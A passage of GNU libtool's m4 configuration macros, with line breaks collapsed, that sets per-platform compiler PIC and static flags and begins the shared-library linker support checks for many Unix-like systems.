_LT_TAGVAR(lt_prog_compiler_static, $1)='-static' ;; pgCC* | pgcpp*) # Portland Group C++ compiler _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fpic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; cxx*) # Compaq C++ # Make sure the PIC flag is empty. It appears that all Alpha # Linux and Compaq Tru64 Unix objects are PIC. _LT_TAGVAR(lt_prog_compiler_pic, $1)= _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; xlc* | xlC*) # IBM XL 8.0 on PPC _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-qpic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-qstaticlink' ;; *) case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C++ 5.9 _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' ;; esac ;; esac ;; lynxos*) ;; m88k*) ;; mvs*) case $cc_basename in cxx*) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-W c,exportall' ;; *) ;; esac ;; netbsd*) ;; *qnx* | *nto*) # QNX uses GNU C++, but need to define -shared option too, otherwise # it will coredump. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' ;; osf3* | osf4* | osf5*) case $cc_basename in KCC*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' ;; RCC*) # Rational C++ 2.4.1 _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' ;; cxx*) # Digital/Compaq C++ _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' # Make sure the PIC flag is empty. It appears that all Alpha # Linux and Compaq Tru64 Unix objects are PIC. _LT_TAGVAR(lt_prog_compiler_pic, $1)= _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; *) ;; esac ;; psos*) ;; solaris*) case $cc_basename in CC*) # Sun C++ 4.2, 5.x and Centerline C++ _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' ;; gcx*) # Green Hills C++ Compiler _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' ;; *) ;; esac ;; sunos4*) case $cc_basename in CC*) # Sun C++ 4.x _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; lcc*) # Lucid _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' ;; *) ;; esac ;; sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) case $cc_basename in CC*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; esac ;; tandem*) case $cc_basename in NCC*) # NonStop-UX NCC 3.20 _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' ;; *) ;; esac ;; vxworks*) ;; *) _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no ;; esac fi ], [ if test "$GCC" = yes; then _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' case $host_os in aix*) # All AIX code is PIC. if test "$host_cpu" = ia64; then # AIX 5 now supports IA64 processor _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' fi ;; amigaos*) case $host_cpu in powerpc) # see comment about AmigaOS4 .so support _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; m68k) # FIXME: we need at least 68020 code to build shared libraries, but # adding the `-m68020' flag to GCC prevents building anything better, # like `-m68040'. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' ;; esac ;; beos* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) # PIC is the default for these OSes. ;; mingw* | cygwin* | pw32* | os2* | cegcc*) # This hack is so that the source file can tell whether it is being # built for inclusion in a dll (and should export symbols for example). # Although the cygwin gcc ignores -fPIC, still need this for old-style # (--disable-auto-import) libraries m4_if([$1], [GCJ], [], [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT']) ;; darwin* | rhapsody*) # PIC is the default on this platform # Common symbols not allowed in MH_DYLIB files _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' ;; hpux*) # PIC is the default for 64-bit PA HP-UX, but not for 32-bit # PA HP-UX. On IA64 HP-UX, PIC is the default but the pic flag # sets the default TLS model and affects inlining. case $host_cpu in hppa*64*) # +Z the default ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; esac ;; interix[[3-9]]*) # Interix 3.x gcc -fpic/-fPIC options generate broken code. # Instead, we relocate shared libraries at runtime. ;; msdosdjgpp*) # Just because we use GCC doesn't mean we suddenly get shared libraries # on systems that don't support them. _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no enable_shared=no ;; *nto* | *qnx*) # QNX uses GNU C++, but need to define -shared option too, otherwise # it will coredump. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' ;; sysv4*MP*) if test -d /usr/nec; then _LT_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic fi ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' ;; esac else # PORTME Check for flag to pass linker flags through the system compiler. case $host_os in aix*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' if test "$host_cpu" = ia64; then # AIX 5 now supports IA64 processor _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' else _LT_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' fi ;; mingw* | cygwin* | pw32* | os2* | cegcc*) # This hack is so that the source file can tell whether it is being # built for inclusion in a dll (and should export symbols for example). m4_if([$1], [GCJ], [], [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT']) ;; hpux9* | hpux10* | hpux11*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but # not for PA HP-UX. case $host_cpu in hppa*64*|ia64*) # +Z the default ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)='+Z' ;; esac # Is there a better lt_prog_compiler_static that works with the bundled CC? _LT_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive' ;; irix5* | irix6* | nonstopux*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' # PIC (with -KPIC) is the default. _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; linux* | k*bsd*-gnu) case $cc_basename in # old Intel for x86_64 which still supported -KPIC. ecc*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' ;; # icc used to be incompatible with GCC. # ICC 10 doesn't accept -KPIC any more. icc* | ifort*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' ;; # Lahey Fortran 8.1. lf95*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='--shared' _LT_TAGVAR(lt_prog_compiler_static, $1)='--static' ;; pgcc* | pgf77* | pgf90* | pgf95*) # Portland Group compilers (*not* the Pentium gcc compiler, # which looks to be a dead project) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fpic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; ccc*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' # All Alpha code is PIC. _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; xl*) # IBM XL C 8.0/Fortran 10.1 on PPC _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-qpic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-qstaticlink' ;; *) case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C 5.9 _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' ;; *Sun\ F*) # Sun Fortran 8.3 passes all unrecognized flags to the linker _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' _LT_TAGVAR(lt_prog_compiler_wl, $1)='' ;; esac ;; esac ;; newsos6) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; *nto* | *qnx*) # QNX uses GNU C++, but need to define -shared option too, otherwise # it will coredump. _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' ;; osf3* | osf4* | osf5*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' # All OSF/1 code is PIC. _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; rdos*) _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' ;; solaris*) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' case $cc_basename in f77* | f90* | f95*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';; *) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';; esac ;; sunos4*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; sysv4 | sysv4.2uw2* | sysv4.3*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; sysv4*MP*) if test -d /usr/nec ;then _LT_TAGVAR(lt_prog_compiler_pic, $1)='-Kconform_pic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' fi ;; sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; unicos*) _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no ;; uts4*) _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' ;; *) _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no ;; esac fi ]) case $host_os in # For platforms which do not support PIC, -DPIC is meaningless: *djgpp*) _LT_TAGVAR(lt_prog_compiler_pic, $1)= ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])" ;; esac AC_MSG_RESULT([$_LT_TAGVAR(lt_prog_compiler_pic, $1)]) _LT_TAGDECL([wl], [lt_prog_compiler_wl], [1], [How to pass a linker flag through the compiler]) # # Check to make sure the PIC flag actually works. # if test -n "$_LT_TAGVAR(lt_prog_compiler_pic, $1)"; then _LT_COMPILER_OPTION([if $compiler PIC flag $_LT_TAGVAR(lt_prog_compiler_pic, $1) works], [_LT_TAGVAR(lt_cv_prog_compiler_pic_works, $1)], [$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])], [], [case $_LT_TAGVAR(lt_prog_compiler_pic, $1) in "" | " "*) ;; *) _LT_TAGVAR(lt_prog_compiler_pic, $1)=" $_LT_TAGVAR(lt_prog_compiler_pic, $1)" ;; esac], [_LT_TAGVAR(lt_prog_compiler_pic, $1)= _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no]) fi _LT_TAGDECL([pic_flag], [lt_prog_compiler_pic], [1], [Additional compiler flags for building library objects]) # # Check to make sure the static flag actually works. # wl=$_LT_TAGVAR(lt_prog_compiler_wl, $1) eval lt_tmp_static_flag=\"$_LT_TAGVAR(lt_prog_compiler_static, $1)\" _LT_LINKER_OPTION([if $compiler static flag $lt_tmp_static_flag works], _LT_TAGVAR(lt_cv_prog_compiler_static_works, $1), $lt_tmp_static_flag, [], [_LT_TAGVAR(lt_prog_compiler_static, $1)=]) _LT_TAGDECL([link_static_flag], [lt_prog_compiler_static], [1], [Compiler flag to prevent dynamic linking]) ])# _LT_COMPILER_PIC # _LT_LINKER_SHLIBS([TAGNAME]) # ---------------------------- # See if the linker supports building shared libraries. m4_defun([_LT_LINKER_SHLIBS], [AC_REQUIRE([LT_PATH_LD])dnl AC_REQUIRE([LT_PATH_NM])dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_DECL_EGREP])dnl m4_require([_LT_DECL_SED])dnl m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl m4_require([_LT_TAG_COMPILER])dnl AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) m4_if([$1], [CXX], [ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' case $host_os in aix[[4-9]]*) # If we're using GNU nm, then we don't want the "-C" option. # -C means demangle to AIX nm, but means don't demangle with GNU nm if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then _LT_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' else _LT_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' fi ;; pw32*) _LT_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds" ;; cygwin* | mingw* | cegcc*) _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;/^.*[[ ]]__nm__/s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols' ;; *) _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' ;; esac _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'] ], [ runpath_var= _LT_TAGVAR(allow_undefined_flag, $1)= _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(archive_cmds, $1)= _LT_TAGVAR(archive_expsym_cmds, $1)= _LT_TAGVAR(compiler_needs_object, $1)=no _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no _LT_TAGVAR(export_dynamic_flag_spec, $1)= _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' _LT_TAGVAR(hardcode_automatic, $1)=no _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= _LT_TAGVAR(hardcode_libdir_separator, $1)= _LT_TAGVAR(hardcode_minus_L, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported _LT_TAGVAR(inherit_rpath, $1)=no _LT_TAGVAR(link_all_deplibs, $1)=unknown _LT_TAGVAR(module_cmds, $1)= _LT_TAGVAR(module_expsym_cmds, $1)= _LT_TAGVAR(old_archive_from_new_cmds, $1)= _LT_TAGVAR(old_archive_from_expsyms_cmds, $1)= _LT_TAGVAR(thread_safe_flag_spec, $1)= _LT_TAGVAR(whole_archive_flag_spec, $1)= # include_expsyms should be a list of space-separated symbols to be *always* # included in the symbol list _LT_TAGVAR(include_expsyms, $1)= # exclude_expsyms can be an extended regexp of symbols to exclude # it will be wrapped by ` (' and `)$', so one must not match beginning or # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', # as well as any symbol that contains `d'. _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'] # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out # platforms (ab)use it in PIC code, but their linkers get confused if # the symbol is explicitly referenced. Since portable code cannot # rely on this symbol name, it's probably fine to never include it in # preloaded symbol tables. # Exclude shared library initialization/finalization symbols. dnl Note also adjust exclude_expsyms for C++ above. extract_expsyms_cmds= case $host_os in cygwin* | mingw* | pw32* | cegcc*) # FIXME: the MSVC++ port hasn't been tested in a loooong time # When not using gcc, we currently assume that we are using # Microsoft Visual C++. if test "$GCC" != yes; then with_gnu_ld=no fi ;; interix*) # we just hope/assume this is gcc and not c89 (= MSVC++) with_gnu_ld=yes ;; openbsd*) with_gnu_ld=no ;; esac _LT_TAGVAR(ld_shlibs, $1)=yes if test "$with_gnu_ld" = yes; then # If archive_cmds runs LD, not CC, wlarc should be empty wlarc='${wl}' # Set some defaults for GNU ld with shared library support. These # are reset later if shared libraries are not supported. Putting them # here allows them to be overridden if necessary. runpath_var=LD_RUN_PATH _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' # ancient GNU ld didn't support --whole-archive et. al. if $LD --help 2>&1 | $GREP 'no-whole-archive' > /dev/null; then _LT_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' else _LT_TAGVAR(whole_archive_flag_spec, $1)= fi supports_anon_versioning=no case `$LD -v 2>&1` in *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < 2.11 *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... *\ 2.11.*) ;; # other 2.11 versions *) supports_anon_versioning=yes ;; esac # See if GNU ld supports shared libraries. case $host_os in aix[[3-9]]*) # On AIX/PPC, the GNU linker is very broken if test "$host_cpu" != ia64; then _LT_TAGVAR(ld_shlibs, $1)=no cat <<_LT_EOF 1>&2 *** Warning: the GNU linker, at least up to release 2.9.1, is reported *** to be unable to reliably create shared libraries on AIX. *** Therefore, libtool is disabling shared libraries support. If you *** really care for shared libraries, you may want to modify your PATH *** so that a non-GNU linker is found, and then restart. _LT_EOF fi ;; amigaos*) case $host_cpu in powerpc) # see comment about AmigaOS4 .so support _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='' ;; m68k) _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_minus_L, $1)=yes ;; esac ;; beos*) if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then _LT_TAGVAR(allow_undefined_flag, $1)=unsupported # Joseph Beckenbach says some releases of gcc # support --undefined. This deserves some investigation. FIXME _LT_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; cygwin* | mingw* | pw32* | cegcc*) # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, # as there is no search path for DLLs. _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(allow_undefined_flag, $1)=unsupported _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]][[ ]]/s/.*[[ ]]//'\'' | sort | uniq > $export_symbols' if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' # If the export-symbols file already is a .def file (1st line # is EXPORTS), use it as is; otherwise, prepend... _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then cp $export_symbols $output_objdir/$soname.def; else echo EXPORTS > $output_objdir/$soname.def; cat $export_symbols >> $output_objdir/$soname.def; fi~ $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; interix[[3-9]]*) _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc. # Instead, shared libraries are loaded at an image base (0x10000000 by # default) and relocated if they conflict, which is a slow very memory # consuming and fragmenting process. To avoid this, we pick a random, # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link # time. Moving up from 0x10000000 also allows more sbrk(2) space. _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' ;; gnu* | linux* | tpf* | k*bsd*-gnu) tmp_diet=no if test "$host_os" = linux-dietlibc; then case $cc_basename in diet\ *) tmp_diet=yes;; # linux-dietlibc with static linking (!diet-dyn) esac fi if $LD --help 2>&1 | $EGREP ': supported targets:.* elf' > /dev/null \ && test "$tmp_diet" = no then tmp_addflag= tmp_sharedflag='-shared' case $cc_basename,$host_cpu in pgcc*) # Portland Group C compiler _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' tmp_addflag=' $pic_flag' ;; pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' tmp_addflag=' $pic_flag -Mnomain' ;; ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64 tmp_addflag=' -i_dynamic' ;; efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64 tmp_addflag=' -i_dynamic -nofor_main' ;; ifc* | ifort*) # Intel Fortran compiler tmp_addflag=' -nofor_main' ;; lf95*) # Lahey Fortran 8.1 _LT_TAGVAR(whole_archive_flag_spec, $1)= tmp_sharedflag='--shared' ;; xl[[cC]]*) # IBM XL C 8.0 on PPC (deal with xlf below) tmp_sharedflag='-qmkshrobj' tmp_addflag= ;; esac case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C 5.9 _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`new_convenience=; for conv in $convenience\"\"; do test -z \"$conv\" || new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' _LT_TAGVAR(compiler_needs_object, $1)=yes tmp_sharedflag='-G' ;; *Sun\ F*) # Sun Fortran 8.3 tmp_sharedflag='-G' ;; esac _LT_TAGVAR(archive_cmds, $1)='$CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' if test "x$supports_anon_versioning" = xyes; then _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ echo "local: *; };" >> $output_objdir/$libname.ver~ $CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' fi case $cc_basename in xlf*) # IBM XL Fortran 10.1 on PPC cannot create shared libs itself _LT_TAGVAR(whole_archive_flag_spec, $1)='--whole-archive$convenience --no-whole-archive' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir' _LT_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib' if test "x$supports_anon_versioning" = xyes; then _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ echo "local: *; };" >> $output_objdir/$libname.ver~ $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib' fi ;; esac else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; netbsd*) if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' wlarc= else _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' fi ;; solaris*) if $LD -v 2>&1 | $GREP 'BFD 2\.8' > /dev/null; then _LT_TAGVAR(ld_shlibs, $1)=no cat <<_LT_EOF 1>&2 *** Warning: The releases 2.8.* of the GNU linker cannot reliably *** create shared libraries on Solaris systems. Therefore, libtool *** is disabling shared libraries support. We urge you to upgrade GNU *** binutils to release 2.9.1 or newer. Another option is to modify *** your PATH or compiler configuration so that the native linker is *** used, and then restart. _LT_EOF elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*) case `$LD -v 2>&1` in *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.1[[0-5]].*) _LT_TAGVAR(ld_shlibs, $1)=no cat <<_LT_EOF 1>&2 *** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not *** reliably create shared libraries on SCO systems. Therefore, libtool *** is disabling shared libraries support. We urge you to upgrade GNU *** binutils to release 2.16.91.0.3 or newer. Another option is to modify *** your PATH or compiler configuration so that the native linker is *** used, and then restart. _LT_EOF ;; *) # For security reasons, it is highly recommended that you always # use absolute paths for naming shared libraries, and exclude the # DT_RUNPATH tag from executables and libraries. But doing so # requires that you compile everything twice, which is a pain. if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' 